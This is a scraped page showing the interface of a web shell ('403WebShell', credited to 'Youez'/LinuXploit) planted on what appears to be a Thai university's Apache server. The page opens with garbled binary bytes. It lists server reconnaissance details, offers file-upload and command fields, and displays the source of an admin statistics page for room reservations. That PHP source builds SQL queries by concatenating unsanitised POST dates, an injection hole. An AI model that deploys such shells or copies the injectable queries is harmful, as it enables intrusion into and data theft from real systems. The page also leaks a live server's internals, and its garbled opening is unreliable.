h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/trr/pages/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/html/trr/pages/admin/stat.php
<?php include 'check_mode_admin.php';?>
<?php include '../dbconnect.php';?>
<?php include 'header.php';?>
<?php
if (check_mode_admin_session(1,1)) {
?>
<?php
function MonthThai($strMonth)
{
	$strMonthName = Array("","มกราคม","กุมภาพันธ์","มีนาคม","เมษายน","พฤษภาคม","มิถุนายน","กรกฎาคม","สิงหาคม","กันยายน","ตุลาคม","พฤศจิกายน","ธันวาคม");
	$strMonthThai=$strMonthName[$strMonth];
	return $strMonthThai;
}	

$pagetitle_text = "สถิติการให้บริการห้องค้นคว้าสำหรับอาจารย์";
$submit_stat = (isset($_POST["submit_stat"])) ? $_POST["submit_stat"] : '';
?>
<style type="text/css">
<!--
.style2 {color: #3366FF}
-->
</style>
		  
	<h1 class="page-header"><?php echo $pagetitle_text;?></h1>
<?php
if($submit_stat <> "") {
  $stat_type = (isset($_POST["stat_type"])) ? $_POST["stat_type"] : '';
  $start_date = (isset($_POST["start_date"])) ? $_POST["start_date"] : '';
  $stop_date = (isset($_POST["stop_date"])) ? $_POST["stop_date"] : '';
  if($stat_type<>'' && $start_date<>'' && $stop_date<>'') {
  	$condition_start_date = $start_date . " 00:00:00";
  	$condition_stop_date = $stop_date . " 23:59:59";
  	$total_count = 0;
	//วันที่ เดือน พ.ศ.	
	$start_date_thai = date('j', strtotime($start_date)) . " " . MonthThai(date('n', strtotime($start_date))) . " " . (date('Y', strtotime($start_date))+543);	
	$stop_date_thai = date('j', strtotime($stop_date)) . " " . MonthThai(date('n', strtotime($stop_date))) . " " . (date('Y', strtotime($stop_date))+543);	
  	if($stat_type == 1) {
?>
<h4>จำนวนการจองแต่ละห้อง</h4>
<h4>ระหว่างวันที่ <?php echo $start_date_thai;?>&nbsp;&nbsp;ถึงวันที่&nbsp;&nbsp;<?php echo $stop_date_thai;?></h4>
<?php
		$sql = "SELECT reserve_room.room_code, reserve_room.room_name, Count(qdetail.room_code) AS reserve_count FROM reserve_room LEFT JOIN (SELECT reserve_detail.room_code FROM reserve_detail WHERE reserve_detail.reserve_date Between '" . $condition_start_date . "' And '" . $condition_stop_date . "')  AS qdetail ON reserve_room.room_code = qdetail.room_code GROUP BY reserve_room.room_code, reserve_room.room_name ORDER BY reserve_room.room_code";
		$query = mysqli_query($conn,$sql);
?>
                                <table class="table table-striped table-bordered table-hover" style="background-color: #FFFFFF;">
                                    <thead>
										<tr>
											<th><div align="center">ห้อง</div></th>
											<th><div align="center">จำนวนการจอง (ครั้ง)</div></th>
                                      	</tr>
                                    </thead>
									<tbody>
<?php			
		while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
		{  
?>
										<tr>
											<td><?php echo $result["room_name"];?></td>
											<td><?php echo $result["reserve_count"];?></td>
										</tr>
<?php		
			$total_count += $result["reserve_count"];
		}
?>
										<tr>
											<td>รวม</td>
											<td><?php echo $total_count;?></td>
										</tr>
									</tbody>
								</table>
<?php			
  	} elseif($stat_type == 2) {
?>
<h4>จำนวนการจองของแต่ละคน</h4>
<h4>ระหว่างวันที่ <?php echo $start_date_thai;?>&nbsp;&nbsp;ถึงวันที่&nbsp;&nbsp;<?php echo $stop_date_thai;?></h4>
<?php
		//$sql = "SELECT prefix.prefix_name, reserve_detail.firstname, reserve_detail.lastname, faculty.faculty_name, COUNT(reserve_detail.reserve_code) AS reserve_count FROM (reserve_detail INNER JOIN prefix ON reserve_detail.prefix_id=prefix.prefix_id) INNER JOIN faculty ON reserve_detail.faculty_id=faculty.faculty_id WHERE reserve_detail.reserve_date Between '" . $condition_start_date . "' And '" . $condition_stop_date . "' GROUP BY prefix.prefix_name, reserve_detail.firstname, reserve_detail.lastname, faculty.faculty_name ORDER BY reserve_detail.firstname ASC, reserve_detail.lastname ASC";
		$sql = "SELECT *, COUNT(reserve_code) AS reserve_count FROM reserve_detail WHERE reserve_date Between '" . $condition_start_date . "' And '" . $condition_stop_date . "' GROUP BY full_name, faculty_name ORDER BY full_name ASC";
		$query = mysqli_query($conn,$sql);
?>
                                <table class="table table-striped table-bordered table-hover" style="background-color: #FFFFFF;">
                                    <thead>
										<tr>
											<th><div align="center">ชื่อผู้จอง</div></th>
											<th><div align="center">คณะ/หน่วยงาน</div></th>
											<th><div align="center">จำนวนการจอง (ครั้ง)</div></th>
                                      	</tr>
                                    </thead>
									<tbody>
<?php			
		while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
		{  
?>
										<tr>
											<td><?php echo $result["full_name"];?></td>
											<td><?php echo $result["faculty_name"];?></td>
											<td><?php echo $result["reserve_count"];?></td>
										</tr>
<?php		
			$total_count += $result["reserve_count"];
		}
?>
										<tr>
											<td colspan="2">รวม</td>
											<td><?php echo $total_count;?></td>
										</tr>
									</tbody>
								</table>
<?php			
	} elseif($stat_type == 3) { //if($stat_type == 1) {
?>
<h4>เวลาในการจองของแต่ละห้อง</h4>
<h4>ระหว่างวันที่ <?php echo $start_date_thai;?>&nbsp;&nbsp;ถึงวันที่&nbsp;&nbsp;<?php echo $stop_date_thai;?></h4>
<?php
		$sql = "SELECT reserve_room.room_code, reserve_room.room_name, Count(qdetail.room_code) AS reserve_count FROM reserve_room LEFT JOIN (SELECT reserve_detail.room_code, reserve_detail.reserve_code FROM reserve_detail INNER JOIN reserve_time ON reserve_detail.reserve_code=reserve_time.reserve_code WHERE reserve_detail.reserve_date Between '" . $condition_start_date . "' And '" . $condition_stop_date . "') AS qdetail ON reserve_room.room_code = qdetail.room_code GROUP BY reserve_room.room_code, reserve_room.room_name ORDER BY reserve_room.room_code";
		$query = mysqli_query($conn,$sql);
?>
                                <table class="table table-striped table-bordered table-hover" style="background-color: #FFFFFF;">
                                    <thead>
										<tr>
											<th><div align="center">ห้อง</div></th>
											<th><div align="center">เวลาที่จอง (ชั่วโมง)</div></th>
                                      	</tr>
                                    </thead>
									<tbody>
<?php			
		while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
		{  
?>
										<tr>
											<td><?php echo $result["room_name"];?></td>
											<td><?php echo $result["reserve_count"];?></td>
										</tr>
<?php		
			$total_count += $result["reserve_count"];
		}
?>
										<tr>
											<td>รวม</td>
											<td><?php echo $total_count;?></td>
										</tr>
									</tbody>
								</table>
<?php			
  	} elseif($stat_type == 4) {
?>
<h4>เวลาในการจองของแต่ละคน</h4>
<h4>ระหว่างวันที่ <?php echo $start_date_thai;?>&nbsp;&nbsp;ถึงวันที่&nbsp;&nbsp;<?php echo $stop_date_thai;?></h4>
<?php
		//$sql = "SELECT prefix.prefix_name, reserve_detail.firstname, reserve_detail.lastname, faculty.faculty_name, COUNT(reserve_detail.reserve_code) AS reserve_count FROM ( (reserve_detail INNER JOIN prefix ON reserve_detail.prefix_id=prefix.prefix_id) INNER JOIN faculty ON reserve_detail.faculty_id=faculty.faculty_id) INNER JOIN reserve_time ON reserve_detail.reserve_code=reserve_time.reserve_code WHERE reserve_detail.reserve_date Between '" . $condition_start_date . "' And '" . $condition_stop_date . "' GROUP BY prefix.prefix_name, reserve_detail.firstname, reserve_detail.lastname, faculty.faculty_name ORDER BY reserve_detail.firstname ASC, reserve_detail.lastname ASC";
		$sql = "SELECT reserve_detail.full_name, reserve_detail.faculty_name, COUNT(reserve_detail.reserve_code) AS reserve_count FROM (reserve_detail INNER JOIN reserve_time ON reserve_detail.reserve_code=reserve_time.reserve_code) WHERE reserve_detail.reserve_date Between '" . $condition_start_date . "' And '" . $condition_stop_date . "' GROUP BY reserve_detail.full_name, reserve_detail.faculty_name ORDER BY reserve_detail.full_name ASC";
		$query = mysqli_query($conn,$sql);
?>
                                <table class="table table-striped table-bordered table-hover" style="background-color: #FFFFFF;">
                                    <thead>
										<tr>
											<th><div align="center">ชื่อผู้จอง</div></th>
											<th><div align="center">คณะ/หน่วยงาน</div></th>
											<th><div align="center">เวลาที่จอง (ชั่วโมง)</div></th>
                                      	</tr>
                                    </thead>
									<tbody>
<?php			
		while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
		{  
?>
										<tr>
											<td><?php echo $result["full_name"] . $result["firstname"] . " " . $result["lastname"];?></td>
											<td><?php echo $result["faculty_name"];?></td>
											<td><?php echo $result["reserve_count"];?></td>
										</tr>
<?php		
			$total_count += $result["reserve_count"];
		}
?>
										<tr>
											<td colspan="2">รวม</td>
											<td><?php echo $total_count;?></td>
										</tr>
									</tbody>
								</table>
<?php			
	} //if($stat_type == 1) {
	
  } else { //if($stat_type<>'' && start_date<>'' && stop_date<>'') {
?>
	<BR />กรุณาเลือกสถิติที่ต้องการดู และเลือกวันที่
	<BR /><BR /><a href='javascript:history.back(1);'><button type="button" class="btn-warning">คลิกที่นี่เพื่อกลับไปหน้าที่แล้ว</button></a>
<?php 
  } //if($stat_type<>'' && start_date<>'' && stop_date<>'') {
} else { //if($submit_roomanddate <> "") {
  $get_room_code = (isset($_GET["room_code"])) ? $_GET["room_code"] : '';
  $get_reserve_date = (isset($_GET["reserve_date"])) ? $_GET["reserve_date"] : '';
?>
	<form action="" method="post" name="form1" id="form1">
		<table class="table table-striped table-bordered table-hover" style="background-color: #FFFFFF;">
			<tbody>
				<tr>
					<td width="30%">ชนิดของสถิติ</td>
					<td>
						<div class="form-group">
							<select class="form-control" name="stat_type" id="stat_type">
								<option value="1">จำนวนการจองของแต่ละห้อง</option>
								<option value="2">จำนวนการจองของแต่ละคน</option>
								<option value="3">เวลาในการจองของแต่ละห้อง</option>
								<option value="4">เวลาในการจองของแต่ละคน</option>
								</select>
						</div>					
					</td>
				</tr>			
				<tr>
					<td width="30%">จากวันที่</td>
					<td>
						<div class="form-group">
							<input type="date" name="start_date" id="start_date" class="form-control">
						</div>
					</td>
				</tr>
				<tr>
					<td width="30%">ถึงวันที่</td>
					<td>
						<div class="form-group">
							<input type="date" name="stop_date" id="stop_date" class="form-control">
						</div>
					</td>
				</tr>				
			</tbody>
	  </table>
                                        <div class="form-group">
											<input name="submit_stat" type="submit" id="submit_stat" value="ดูสถิติ" class="btn btn-success">
											&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
											<a href='javascript:history.back(1);'><button type="button" class="btn btn-default">ยกเลิก</button></a>
                                        </div>	
	</form>	
<?php
} //if($submit_roomanddate <> "") {
?>	
<?php
} //if(check_mode_admin_session(1,1)) {
?>
<?php include 'footer.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit